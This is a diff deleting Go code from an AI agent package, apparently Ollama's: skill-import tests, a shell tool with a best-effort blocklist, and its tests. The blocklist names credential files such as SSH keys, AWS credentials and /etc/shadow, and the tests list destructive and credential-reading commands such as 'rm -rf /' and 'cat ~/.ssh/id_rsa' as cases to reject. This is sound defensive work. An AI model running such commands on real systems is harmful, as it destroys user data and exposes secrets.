-	writeCatalogSkill(t, userOllama, "unique", "only here")
-
-	catalog, err := LoadDefaultSkills(project)
-	if err != nil {
-		t.Fatal(err)
-	}
-	rn, err := catalog.Load("release-notes")
-	if err != nil || !strings.Contains(rn.Instructions, "from project ollama") || !strings.Contains(rn.Path, ".ollama") {
-		t.Fatalf("release-notes = %#v, want project ollama to win", rn)
-	}
-	cr, err := catalog.Load("code-review")
-	if err != nil || !strings.Contains(cr.Instructions, "from project ollama") {
-		t.Fatalf("code-review = %#v, want project ollama to win over project agents", cr)
-	}
-	if _, err := catalog.Load("unique"); err != nil {
-		t.Fatalf("unique should load from user ollama: %v", err)
-	}
-	// Collisions are resolved silently by precedence — no diagnostics.
-	for _, d := range catalog.Diagnostics() {
-		if strings.Contains(d.Error(), "shadows") {
-			t.Fatalf("unexpected shadow diagnostic: %v", d)
-		}
-	}
-}
-
-func TestSkillCatalogExcludeNames(t *testing.T) {
-	dir := t.TempDir()
-	for _, name := range []string{"release-notes", "system", "exit"} {
-		writeCatalogSkill(t, dir, name, "instructions")
-	}
-	catalog, err := DiscoverSkills(dir)
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	if got, want := strings.Join(catalog.ExcludeNames([]string{"/system", "EXIT"}), ","), "exit,system"; got != want {
-		t.Fatalf("excluded skills = %q, want %q", got, want)
-	}
-	if _, err := catalog.Load("system"); err == nil {
-		t.Fatal("excluded system skill should not load")
-	}
-	if _, err := catalog.Load("exit"); err == nil {
-		t.Fatal("excluded exit skill should not load")
-	}
-	if _, err := catalog.Load("release-notes"); err != nil {
-		t.Fatalf("non-conflicting skill should remain available: %v", err)
-	}
-}
-
-func TestSkillContentListsDirectoryAndResources(t *testing.T) {
-	root := t.TempDir()
-	skillDir := filepath.Join(root, "pdf-processing")
-	if err := os.MkdirAll(filepath.Join(skillDir, "scripts"), 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.MkdirAll(filepath.Join(skillDir, "references"), 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(filepath.Join(skillDir, "SKILL.md"), []byte("---\nname: pdf-processing\ndescription: Handle PDFs.\n---\nHandle PDFs."), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(filepath.Join(skillDir, "scripts", "extract.py"), []byte("#!/usr/bin/env python3"), 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(filepath.Join(skillDir, "references", "ref.md"), []byte("ref"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	catalog, err := DiscoverSkills(root)
-	if err != nil {
-		t.Fatal(err)
-	}
-	skill, err := catalog.Load("pdf-processing")
-	if err != nil {
-		t.Fatal(err)
-	}
-	content := skill.Content()
-	if !strings.Contains(content, "Skill directory:") || !strings.Contains(content, skillDir) {
-		t.Fatalf("content missing skill directory: %q", content)
-	}
-	if !strings.Contains(content, "<file>scripts/extract.py</file>") || !strings.Contains(content, "<file>references/ref.md</file>") {
-		t.Fatalf("content missing resource listing: %q", content)
-	}
-}
-
-func TestImportSkillsCopiesFixtureAndIsIdempotent(t *testing.T) {
-	source := t.TempDir()
-	destination := t.TempDir()
-	writeImportFixtureSkill(t, source)
-	writeCatalogSkill(t, source, "broken", "---\nname: another-skill\ndescription: Deliberately invalid.\n---\nIgnore this.")
-	if err := os.MkdirAll(filepath.Join(source, "release-notes", "references"), 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(filepath.Join(source, "release-notes", "references", "style.txt"), []byte("Keep it short.\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.MkdirAll(filepath.Join(source, "release-notes", "scripts"), 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(filepath.Join(source, "release-notes", "scripts", "prepare.sh"), []byte("#!/bin/sh\n"), 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(filepath.Join(source, "ignored.md"), []byte("Ignored root file.\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	result, err := importSkillsFromDir("codex", source, destination)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if got, want := strings.Join(result.Imported, ","), "release-notes"; got != want {
-		t.Fatalf("imported = %q, want %q", got, want)
-	}
-	catalog, err := DiscoverSkills(destination)
-	if err != nil {
-		t.Fatal(err)
-	}
-	skill, err := catalog.Load("release-notes")
-	if err != nil || skill.Description != "Draft concise release notes." {
-		t.Fatalf("imported skill = %#v, %v", skill, err)
-	}
-	if got := len(result.Failures); got != 1 || result.Failures[0].Name != "broken" {
-		t.Fatalf("failures = %#v, want broken fixture failure", result.Failures)
-	}
-	for _, file := range []string{skillFilename, filepath.Join("references", "style.txt"), filepath.Join("scripts", "prepare.sh")} {
-		if _, err := os.Stat(filepath.Join(destination, "release-notes", file)); err != nil {
-			t.Fatalf("imported fixture file %q: %v", file, err)
-		}
-	}
-
-	result, err = importSkillsFromDir("codex", source, destination)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if got, want := strings.Join(result.Existing, ","), "release-notes"; got != want {
-		t.Fatalf("existing = %q, want %q", got, want)
-	}
-	if len(result.Imported) != 0 {
-		t.Fatalf("repeated import copied skills: %#v", result.Imported)
-	}
-}
-
-func TestImportSkillsLeavesConflictsAndUnsafeSourcesUntouched(t *testing.T) {
-	source := t.TempDir()
-	destination := t.TempDir()
-	writeCatalogSkill(t, source, "release-notes", "source instructions")
-	writeCatalogSkill(t, destination, "release-notes", "existing instructions")
-	writeCatalogSkill(t, source, "nested-link", "safe manifest")
-	if err := os.Symlink(filepath.Join(source, "release-notes", skillFilename), filepath.Join(source, "nested-link", "reference")); err != nil {
-		t.Skipf("symlink not supported: %v", err)
-	}
-	if err := os.Symlink(filepath.Join(source, "release-notes"), filepath.Join(source, "linked-skill")); err != nil {
-		t.Skipf("symlink not supported: %v", err)
-	}
-
-	result, err := importSkillsFromDir("codex", source, destination)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(result.Imported) != 0 || len(result.Existing) != 0 {
-		t.Fatalf("unexpected successful import: %#v", result)
-	}
-	if got, err := os.ReadFile(filepath.Join(destination, "release-notes", skillFilename)); err != nil || !strings.Contains(string(got), "existing instructions") {
-		t.Fatalf("conflicting destination changed: %q, %v", got, err)
-	}
-	failed := make(map[string]bool)
-	for _, failure := range result.Failures {
-		failed[failure.Name] = true
-	}
-	for _, name := range []string{"release-notes", "nested-link", "linked-skill"} {
-		if !failed[name] {
-			t.Fatalf("missing failure for %q: %#v", name, result.Failures)
-		}
-	}
-}
-
-func TestImportSkillsRejectsSymlinkedRoot(t *testing.T) {
-	root := t.TempDir()
-	source := filepath.Join(t.TempDir(), "codex-skills")
-	if err := os.Symlink(root, source); err != nil {
-		t.Skipf("symlink not supported: %v", err)
-	}
-	result, err := importSkillsFromDir("codex", source, t.TempDir())
-	if err == nil || !strings.Contains(err.Error(), "symlinks are not supported") {
-		t.Fatalf("symlinked root error = %v", err)
-	}
-	if len(result.Imported) != 0 || len(result.Existing) != 0 || len(result.Failures) != 0 {
-		t.Fatalf("symlinked root result = %#v", result)
-	}
-}
-
-func TestImportSkillsMissingRootAndConfiguredRoots(t *testing.T) {
-	result, err := importSkillsFromDir("codex", filepath.Join(t.TempDir(), "missing"), t.TempDir())
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(result.Imported) != 0 || len(result.Existing) != 0 || len(result.Failures) != 0 {
-		t.Fatalf("missing root result = %#v", result)
-	}
-
-	destination := t.TempDir()
-	rootBase := t.TempDir()
-	roots := map[string]string{
-		"codex":  filepath.Join(rootBase, "codex"),
-		"claude": filepath.Join(rootBase, "claude"),
-		"pi":     filepath.Join(rootBase, "pi"),
-	}
-	for _, test := range []struct {
-		source string
-		root   string
-		name   string
-	}{
-		{source: "codex", root: roots["codex"], name: "from-codex"},
-		{source: "claude", root: roots["claude"], name: "from-claude"},
-		{source: "pi", root: roots["pi"], name: "from-pi"},
-	} {
-		t.Run(test.source, func(t *testing.T) {
-			writeCatalogSkill(t, test.root, test.name, "from "+test.source)
-			result, err = importSkillsFromRoots(test.source, roots, destination)
-			if err != nil {
-				t.Fatal(err)
-			}
-			if result.SourceDir != test.root {
-				t.Fatalf("source dir = %q, want %q", result.SourceDir, test.root)
-			}
-			if _, err := os.Stat(filepath.Join(destination, test.name, skillFilename)); err != nil {
-				t.Fatalf("conventional source was not imported: %v", err)
-			}
-		})
-	}
-	if _, err := importSkillsFromRoots("unknown", roots, destination); err == nil || !strings.Contains(err.Error(), "unknown skill source") {
-		t.Fatalf("unknown source error = %v", err)
-	}
-}
-
-func TestConventionalSkillImportRoots(t *testing.T) {
-	home := t.TempDir()
-	roots := conventionalSkillImportRoots(home)
-	for source, want := range map[string]string{
-		"codex":  filepath.Join(home, ".codex", "skills"),
-		"claude": filepath.Join(home, ".claude", "skills"),
-		"pi":     filepath.Join(home, ".pi", "agent", "skills"),
-	} {
-		if got := roots[source]; got != want {
-			t.Fatalf("%s root = %q, want %q", source, got, want)
-		}
-	}
-}
-
-func TestImportSkillsRejectsUnreadableManifest(t *testing.T) {
-	source := t.TempDir()
-	writeCatalogSkill(t, source, "private", "do not read")
-	manifest := filepath.Join(source, "private", skillFilename)
-	if err := os.Chmod(manifest, 0); err != nil {
-		t.Fatal(err)
-	}
-	t.Cleanup(func() { _ = os.Chmod(manifest, 0o644) })
-	if _, err := os.ReadFile(manifest); err == nil {
-		t.Skip("test user can read a mode-000 file")
-	}
-	result, err := importSkillsFromDir("codex", source, t.TempDir())
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(result.Failures) != 1 || result.Failures[0].Name != "private" {
-		t.Fatalf("failures = %#v", result.Failures)
-	}
-}

agent/testdata/import/release-notes/SKILL.md

@@ -1,8 +0,0 @@
----
-name: release-notes
-description: Draft concise release notes.
----
-
-# Release notes
-
-Use short bullets.

agent/tools/bash.go

@@ -1,450 +0,0 @@
-package tools
-
-import (
-	"context"
-	"errors"
-	"fmt"
-	"os"
-	"os/exec"
-	"path/filepath"
-	"runtime"
-	"strings"
-	"time"
-	"unicode/utf8"
-
-	"github.com/ollama/ollama/agent"
-	"github.com/ollama/ollama/api"
-)
-
-const (
-	bashTimeout        = 3 * time.Minute
-	bashWaitDelay      = 1 * time.Second
-	maxBashOutputBytes = 60_000
-)
-
-type Bash struct{}
-
-func (b *Bash) Name() string {
-	return shellToolName()
-}
-
-func (b *Bash) Description() string {
-	return shellToolDescription()
-}
-
-func (b *Bash) Schema() api.ToolFunction {
-	props := api.NewToolPropertiesMap()
-	props.Set("command", api.ToolProperty{
-		Type:        api.PropertyType{"string"},
-		Description: shellCommandDescription(),
-	})
-	return api.ToolFunction{
-		Name:        b.Name(),
-		Description: b.Description(),
-		Parameters: api.ToolFunctionParameters{
-			Type:       "object",
-			Properties: props,
-			Required:   []string{"command"},
-		},
-	}
-}
-
-func (b *Bash) RequiresApproval(map[string]any) bool {
-	return true
-}
-
-// ApprovalScope scopes shell approval to the exact, trimmed command string
-// using a NUL separator: "<tool>\x00<command>". "Always allow this command"
-// matches ONLY that precise string — any whitespace, quoting, or casing
-// variant re-prompts. The NUL separator is safe because a shell command
-// string cannot contain a literal NUL.
-func (b *Bash) ApprovalScope(args map[string]any) string {
-	name := b.Name()
-	if command, ok := args["command"].(string); ok {
-		command = strings.TrimSpace(command)
-		if command != "" {
-			return name + "\x00" + command
-		}
-	}
-	return name
-}
-
-func (b *Bash) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
-	// TODO: use shared agent.RequiredStringArg for the "command" parameter (see agent package cleanup plan).
-	command, ok := args["command"].(string)
-	if !ok || strings.TrimSpace(command) == "" {
-		return agent.ToolResult{}, fmt.Errorf("command parameter is required")
-	}
-	if err := rejectUnsafeShellCommand(command); err != nil {
-		return agent.ToolResult{}, err
-	}
-
-	ctx, cancel := context.WithTimeout(ctx, bashTimeout)
-	defer cancel()
-
-	cwdFile, err := os.CreateTemp("", "ollama-agent-cwd-*")
-	if err != nil {
-		return agent.ToolResult{}, err
-	}
-	cwdPath := cwdFile.Name()
-	_ = cwdFile.Close()
-	defer os.Remove(cwdPath)
-
-	cmd := newBashCommand(ctx, command, cwdPath)
-	cmd.WaitDelay = bashWaitDelay
-	cmd.Cancel = func() error {
-		return killBashCommand(cmd)
-	}
-	if toolCtx.WorkingDir != "" {
-		cmd.Dir = toolCtx.WorkingDir
-	}
-
-	var stdout, stderr boundedOutput
-	stdout.Limit = maxBashOutputBytes
-	stderr.Limit = maxBashOutputBytes
-	cmd.Stdout = &stdout
-	cmd.Stderr = &stderr
-
-	err = runBashCommand(cmd)
-	finalWorkingDir := readFinalWorkingDir(cwdPath)
-
-	var sb strings.Builder
-	if stdout.Len() > 0 {
-		sb.WriteString(stdout.String("stdout"))
-	}
-	if stderr.Len() > 0 {
-		if sb.Len() > 0 {
-			sb.WriteString("\n")
-		}
-		sb.WriteString("stderr:\n")
-		sb.WriteString(stderr.String("stderr"))
-	}
-
-	if err != nil {
-		if ctx.Err() == context.DeadlineExceeded {
-			return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command timed out after "+bashTimeout.String()), WorkingDir: finalWorkingDir}, nil
-		}
-		if ctx.Err() == context.Canceled {
-			return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command was canceled"), WorkingDir: finalWorkingDir}, nil
-		}
-		if errors.Is(err, exec.ErrWaitDelay) {
-			_ = killBashCommand(cmd)
-			return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command output pipes did not close after "+bashWaitDelay.String()), WorkingDir: finalWorkingDir}, nil
-		}
-		if exitErr, ok := err.(*exec.ExitError); ok {
-			return agent.ToolResult{Content: bashContentWithError(sb.String(), fmt.Sprintf("Exit code: %d", exitErr.ExitCode())), WorkingDir: finalWorkingDir}, nil
-		}
-		return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, fmt.Errorf("executing command: %w", err)
-	}
-
-	if sb.Len() == 0 {
-		return agent.ToolResult{Content: "(no output)", WorkingDir: finalWorkingDir}, nil
-	}
-	return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, nil
-}
-
-func bashContentWithError(content, msg string) string {
-	if content == "" {
-		return msg
-	}
-	return content + "\n\n" + msg
-}
-
-// rejectUnsafeShellCommand applies a best-effort blocklist for obviously
-// destructive or credential-exfiltrating commands. It is defense-in-depth
-// ONLY: the interactive approval prompt is the real security control, and
-// this check must not be relied upon as a sandbox. Sophisticated or novel
-// dangerous commands (e.g. find / -delete, dd, fork bombs, custom binaries)
-// are NOT caught here and will simply be routed through approval like any
-// other command. Keep the approval prompt as the gate.
-func rejectUnsafeShellCommand(command string) error {
-	switch {
-	case hasUnsafeRecursiveDelete(command):
-		return fmt.Errorf("refusing to run unsafe command: recursive delete target is too broad")
-	case readsCredentialPath(command):
-		return fmt.Errorf("refusing to run unsafe command: credential file reads are not allowed")
-	default:
-		return nil
-	}
-}
-
-func hasUnsafeRecursiveDelete(command string) bool {
-	// Check each command segment independently. shellSafetyText flattens
-	// separators (; & | newlines) to spaces, which would otherwise let the
-	// rm target scan bleed across command boundaries — e.g.
-	// "rm -rf build && echo ~/.ssh/config" flattened to one token stream
-	// would treat the unrelated ~/.ssh/config (a ~/-prefixed "unsafe
-	// target") as an rm argument. Splitting on separators first restores
-	// command boundaries while still catching multi-target single commands
-	// like "rm -rf build /etc".
-	for _, segment := range shellSegments(command) {
-		fields := shellSafetyFields(segment)
-		for i, field := range fields {
-			if isRMCommand(field) && rmCommandDeletesUnsafeTarget(fields[i+1:]) {
-				return true
-			}
-			if isPowerShellDeleteCommand(field) && powerShellDeleteCommandDeletesUnsafeTarget(fields[i+1:]) {
-				return true
-			}
-		}
-	}
-	return false
-}
-
-// shellSegments splits a command on shell control operators (;, &, |, &&,
-// ||) and newlines, returning the individual command segments. It operates on
-// the lowercased raw command before quote/separator normalization so that
-// command boundaries are preserved for per-segment checks. Subshell parens are
-// intentionally NOT treated as separators: splitting on them would fragment
-// command substitutions like "rm -rf $(echo /)" into "rm -rf $" and "echo /",
-// hiding the destructive "/" target from the per-segment scan. Empty segments
-// are dropped.
-func shellSegments(command string) []string {
-	command = strings.ToLower(command)
-	var segments []string
-	for _, segment := range strings.FieldsFunc(command, func(r rune) bool {
-		switch r {
-		case ';', '&', '|', '\n', '\r':
-			return true
-		}
-		return false
-	}) {
-		if segment = strings.TrimSpace(segment); segment != "" {
-			segments = append(segments, segment)
-		}
-	}
-	return segments
-}
-
-func rmCommandDeletesUnsafeTarget(fields []string) bool {
-	var flags string
-	for _, field := range fields {
-		if field == "--" {
-			continue
-		}
-		if strings.HasPrefix(field, "-") {
-			flags += field
-			continue
-		}
-		if strings.Contains(flags, "r") && strings.Contains(flags, "f") && isUnsafeDeleteTarget(field) {
-			return true
-		}
-	}
-	return false
-}
-
-func powerShellDeleteCommandDeletesUnsafeTarget(fields []string) bool {
-	var recurse, force bool
-	var targets []string
-	for _, field := range fields {
-		switch field {
-		case "-r", "-recurse", "-recursive":
-			recurse = true
-		case "-f", "-force":
-			force = true
-		default:
-			if !strings.HasPrefix(field, "-") {
-				targets = append(targets, field)
-			}
-		}
-	}
-	if !recurse || !force {
-		return false
-	}
-	for _, target := range targets {
-		if isUnsafeDeleteTarget(target) {
-			return true
-		}
-	}
-	return false
-}
-
-func readsCredentialPath(command string) bool {
-	fields := shellSafetyFields(command)
-	if !hasCredentialReadVerb(fields) {
-		return false
-	}
-	normalized := shellSafetyText(command)
-	for _, fragment := range []string{
-		"/.ssh/id_rsa",
-		"/.ssh/id_dsa",
-		"/.ssh/id_ecdsa",
-		"/.ssh/id_ed25519",
-		"/.ssh/config",
-		"/.ssh/known_hosts",
-		"/.aws/credentials",
-		"/.aws/config",
-		"/.config/gcloud/application_default_credentials.json",
-		"/.kube/config",
-		"/.netrc",
-		"/.npmrc",
-		"/.docker/config.json",
-		"/.config/gh/hosts.yml",
-		"/.gnupg/",
-		"/etc/shadow",
-	} {
-		if strings.Contains(normalized, fragment) {
-			return true
-		}
-	}
-	return false
-}
-
-func hasCredentialReadVerb(fields []string) bool {
-	for _, field := range fields {
-		switch field {
-		case "cat", "less", "more", "head", "tail", "type", "get-content", "gc", "select-string", "grep", "rg", "sed", "awk":
-			return true
-		case "env", "printenv":
-			return true
-		}
-	}
-	return false
-}
-
-func isRMCommand(field string) bool {
-	return field == "rm" || strings.HasSuffix(field, "/rm")
-}
-
-func isPowerShellDeleteCommand(field string) bool {
-	switch field {
-	case "remove-item", "del", "erase", "rd", "rmdir":
-		return true
-	default:
-		return false
-	}
-}
-
-func isUnsafeDeleteTarget(target string) bool {
-	if target == "." || target == "./" || target == "*" {
-		return true
-	}
-	if target == "/*" {
-		return true
-	}
-	target = strings.TrimSuffix(target, "/*")
-	for _, prefix := range []string{"~/", "$home/", "${home}/", "$env:home/", "$env:userprofile/", "%userprofile%/"} {
-		if strings.HasPrefix(target, prefix) {
-			return true
-		}
-	}
-	for _, prefix := range []string{"/etc/", "/bin/", "/sbin/", "/usr/", "/var/", "/lib/", "/library/", "/system/", "/applications/", "c:/windows/", "c:/program files/"} {
-		if strings.HasPrefix(target, prefix) {
-			return true
-		}
-	}
-	for _, exact := range []string{"/", "~", "$home", "${home}", "$env:home", "$env:userprofile", "%userprofile%", "c:", "c:/", "/etc", "/bin", "/sbin", "/usr", "/var", "/lib", "/library", "/system", "/applications", "c:/windows", "c:/program files"} {
-		if target == exact {
-			return true
-		}
-	}
-	return false
-}
-
-func shellSafetyFields(command string) []string {
-	return strings.Fields(shellSafetyText(command))
-}
-
-func shellSafetyText(command string) string {
-	command = strings.ToLower(command)
-	return strings.NewReplacer(
-		"\\", "/",
-		"\n", " ",
-		"\t", " ",
-		";", " ",
-		"&", " ",
-		"|", " ",
-		"(", " ",
-		")", " ",
-		"\"", "",
-		"'", "",
-		"`", "",
-	).Replace(command)
-}
-
-func readFinalWorkingDir(path string) string {
-	content, err := os.ReadFile(path)
-	if err != nil {
-		return ""
-	}
-	workingDir := strings.TrimPrefix(string(content), "\ufeff")
-	workingDir = strings.TrimSpace(workingDir)
-	if workingDir == "" {
-		return ""
-	}
-	workingDir = normalizeBashWorkingDir(workingDir)
-	info, err := os.Stat(workingDir)
-	if err != nil || !info.IsDir() {
-		return ""
-	}
-	return workingDir
-}
-
-func normalizeBashWorkingDir(workingDir string) string {
-	if runtime.GOOS == "windows" && len(workingDir) >= 3 && workingDir[0] == '/' && workingDir[2] == '/' && isASCIIAlpha(workingDir[1]) {
-		workingDir = strings.ToUpper(string(workingDir[1])) + ":" + workingDir[2:]
-	}
-	workingDir = filepath.Clean(filepath.FromSlash(workingDir))
-	if runtime.GOOS == "windows" && len(workingDir) >= 2 && workingDir[1] == ':' && isASCIIAlpha(workingDir[0]) {
-		workingDir = strings.ToUpper(string(workingDir[0])) + workingDir[1:]
-	}
-	return workingDir
-}
-
-func isASCIIAlpha(b byte) bool {
-	return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
-}
-
-type boundedOutput struct {
-	Limit   int
-	buf     []byte
-	omitted int
-}
-
-func (b *boundedOutput) Write(p []byte) (int, error) {
-	if b.Limit <= 0 {
-		b.omitted += len(p)
-		return len(p), nil
-	}
-	remaining := b.Limit - len(b.buf)
-	if remaining <= 0 {
-		b.omitted += len(p)
-		return len(p), nil
-	}
-	if len(p) <= remaining {
-		b.buf = append(b.buf, p...)
-		return len(p), nil
-	}
-	writeLen := utf8SafePrefixLen(p[:remaining])
-	b.buf = append(b.buf, p[:writeLen]...)
-	b.omitted += len(p) - writeLen
-	return len(p), nil
-}
-
-func (b *boundedOutput) Len() int {
-	return len(b.buf) + b.omitted
-}
-
-func (b *boundedOutput) String(label string) string {
-	safeLen := utf8SafePrefixLen(b.buf)
-	content := string(b.buf[:safeLen])
-	omitted := b.omitted + len(b.buf) - safeLen
-	if omitted == 0 {
-		return content
-	}
-	return content + agent.TruncMarker(label, safeLen, 0, omitted, false, "")
-}
-
-func utf8SafePrefixLen(p []byte) int {
-	if len(p) == 0 {
-		return 0
-	}
-	for i := 0; i < len(p); {
-		r, size := utf8.DecodeRune(p[i:])
-		if r == utf8.RuneError && size == 1 {
-			return i
-		}
-		i += size
-	}
-	return len(p)
-}

agent/tools/bash_test.go

@@ -1,258 +0,0 @@
-package tools
-
-import (
-	"context"
-	"os"
-	"path/filepath"
-	"runtime"
-	"strings"
-	"testing"
-	"unicode/utf8"
-
-	"github.com/ollama/ollama/agent"
-)
-
-func TestBashReportsFinalWorkingDir(t *testing.T) {
-	root := t.TempDir()
-	subdir := filepath.Join(root, "sub")
-	if err := os.Mkdir(subdir, 0o755); err != nil {
-		t.Fatal(err)
-	}
-
-	result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
-		"command": shellTestCommand("cd sub && pwd", "Set-Location sub; Get-Location"),
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	wantDir, err := filepath.EvalSymlinks(subdir)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if result.WorkingDir != wantDir {
-		t.Fatalf("working dir = %q, want %q", result.WorkingDir, wantDir)
-	}
-	if !strings.Contains(result.Content, "sub") {
-		t.Fatalf("content = %q, want pwd output", result.Content)
-	}
-}
-
-func TestBashBoundsOutputWhileRunning(t *testing.T) {
-	result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
-		"command": shellTestCommand("yes x | head -c 70000", "[Console]::Out.Write(('x' * 70000))"),
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !strings.Contains(result.Content, "[stdout truncated: showing first ~") || !strings.Contains(result.Content, "omitted ~") || !strings.Contains(result.Content, " tokens.]") {
-		t.Fatalf("content = %q, want stdout truncation marker", result.Content)
-	}
-	if count, want := strings.Count(result.Content, "x"), shellTestCapturedXCount(); count != want {
-		t.Fatalf("captured x count = %d, want %d", count, want)
-	}
-	if len(result.Content) > maxBashOutputBytes+200 {
-		t.Fatalf("content length = %d, want bounded output", len(result.Content))
-	}
-}
-
-func TestBoundedOutputTruncatesAtUTF8Boundary(t *testing.T) {
-	var out boundedOutput
-	out.Limit = len([]byte("abc")) + 1
-
-	if _, err := out.Write([]byte("abcédef")); err != nil {
-		t.Fatal(err)
-	}
-	content := out.String("stdout")
-	if !utf8.ValidString(content) {
-		t.Fatalf("content is not valid UTF-8: %q", content)
-	}
-	if strings.ContainsRune(content, utf8.RuneError) {
-		t.Fatalf("content contains replacement rune: %q", content)
-	}
-	if !strings.HasPrefix(content, "abc\n\n[stdout truncated:") {
-		t.Fatalf("content = %q, want complete ASCII prefix and truncation marker", content)
-	}
-}
-
-func TestBoundedOutputKeepsCompleteUTF8AtBoundary(t *testing.T) {
-	var out boundedOutput
-	out.Limit = len([]byte("abcé"))
-
-	if _, err := out.Write([]byte("abcédef")); err != nil {
-		t.Fatal(err)
-	}
-	if content := out.String("stdout"); !strings.HasPrefix(content, "abcé\n\n[stdout truncated:") {
-		t.Fatalf("content = %q, want complete UTF-8 prefix", content)
-	}
-}
-
-func TestBoundedOutputTrimsTrailingPartialUTF8(t *testing.T) {
-	var out boundedOutput
-	out.Limit = 4
-
-	if _, err := out.Write([]byte{'a', 'b', 'c', 0xc3}); err != nil {
-		t.Fatal(err)
-	}
-	if _, err := out.Write([]byte{0xa9}); err != nil {
-		t.Fatal(err)
-	}
-	if content := out.String("stdout"); !utf8.ValidString(content) || !strings.HasPrefix(content, "abc\n\n[stdout truncated:") {
-		t.Fatalf("content = %q, want valid UTF-8 with partial suffix trimmed", content)
-	}
-}
-
-func TestUTF8SafePrefixRejectsMalformedLeadByte(t *testing.T) {
-	input := []byte{'a', 0xc0, 0x80, 'b'}
-	if got := utf8SafePrefixLen(input); got != 1 {
-		t.Fatalf("safe prefix length = %d, want 1", got)
-	}
-}
-
-func TestBoundedOutputDropsMalformedUTF8(t *testing.T) {
-	var out boundedOutput
-	out.Limit = 4
-
-	if _, err := out.Write([]byte{'a', 0xc0, 0x80, 'b'}); err != nil {
-		t.Fatal(err)
-	}
-	content := out.String("stdout")
-	if !utf8.ValidString(content) {
-		t.Fatalf("content is not valid UTF-8: %q", content)
-	}
-	if strings.ContainsRune(content, utf8.RuneError) {
-		t.Fatalf("content contains replacement rune: %q", content)
-	}
-	if !strings.HasPrefix(content, "a\n\n[stdout truncated:") {
-		t.Fatalf("content = %q, want valid prefix and truncation marker", content)
-	}
-}
-
-func TestBashReportsCanceledCommand(t *testing.T) {
-	ctx, cancel := context.WithCancel(context.Background())
-	cancel()
-
-	result, err := (&Bash{}).Execute(ctx, agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
-		"command": shellTestCommand("sleep 10", "Start-Sleep -Seconds 10"),
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !strings.Contains(result.Content, "Error: command was canceled") {
-		t.Fatalf("content = %q, want canceled message", result.Content)
-	}
-	if strings.Contains(result.Content, "Exit code: -1") {
-		t.Fatalf("content = %q, should not mask cancellation as exit code", result.Content)
-	}
-}
-
-func TestRejectUnsafeShellCommand(t *testing.T) {
-	tests := []struct {
-		name    string
-		command string
-		wantErr bool
-	}{
-		{name: "rm root", command: "rm -rf /", wantErr: true},
-		{name: "sudo rm root", command: "sudo rm -rf -- /", wantErr: true},
-		{name: "rm home", command: "rm -fr $HOME", wantErr: true},
-		{name: "rm root wildcard", command: "rm -rf /*", wantErr: true},
-		{name: "rm system subdir", command: "rm -rf /etc/ssh", wantErr: true},
-		{name: "rm cwd", command: "rm -rf .", wantErr: true},
-		{name: "powershell remove root", command: `Remove-Item -Recurse -Force C:\`, wantErr: true},
-		{name: "powershell remove system subdir", command: `Remove-Item -Recurse -Force C:\Windows\Temp`, wantErr: true},
-		{name: "ssh private key", command: "cat ~/.ssh/id_rsa", wantErr: true},
-		{name: "aws credentials", command: "Get-Content $HOME/.aws/credentials", wantErr: true},
-		{name: "shadow", command: "head /etc/shadow", wantErr: true},
-		{name: "netrc", command: "cat ~/.netrc", wantErr: true},
-		{name: "docker config", command: "cat ~/.docker/config.json", wantErr: true},
-		{name: "gnupg dir", command: "cat ~/.gnupg/private-keys-v1.d/key", wantErr: true},
-		{name: "gh hosts", command: "cat ~/.config/gh/hosts.yml", wantErr: true},
-		{name: "ssh config", command: "cat ~/.ssh/config", wantErr: true},
-		{name: "printenv dump", command: "printenv", wantErr: false},
-		{name: "delete build dir", command: "rm -rf build", wantErr: false},
-		{name: "read project file", command: "cat README.md", wantErr: false},
-		{name: "mention key text", command: "rg id_rsa docs", wantErr: false},
-		{name: "env example", command: "cat .env.example", wantErr: false},
-		{name: "rm build then unrelated tilde path", command: "rm -rf build && echo ~/.ssh/config", wantErr: false},
-		{name: "rm build then unrelated slash path", command: "rm -rf build; cat /etc/passwd", wantErr: false},
-		{name: "rm build then unrelated star glob", command: "rm -rf build && ls *.go", wantErr: false},
-		{name: "rm multiple targets one unsafe", command: "rm -rf build /etc", wantErr: true},
-		{name: "rm unsafe then safe piped", command: "rm -rf / | tee log", wantErr: true},
-		{name: "rm unsafe via command substitution", command: "rm -rf $(echo /)", wantErr: true},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			err := rejectUnsafeShellCommand(tt.command)
-			if tt.wantErr && err == nil {
-				t.Fatal("expected unsafe command to be rejected")
-			}
-			if !tt.wantErr && err != nil {
-				t.Fatalf("command rejected: %v", err)
-			}
-		})
-	}
-}
-
-func TestBashRejectsUnsafeCommandBeforeExecution(t *testing.T) {
-	_, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
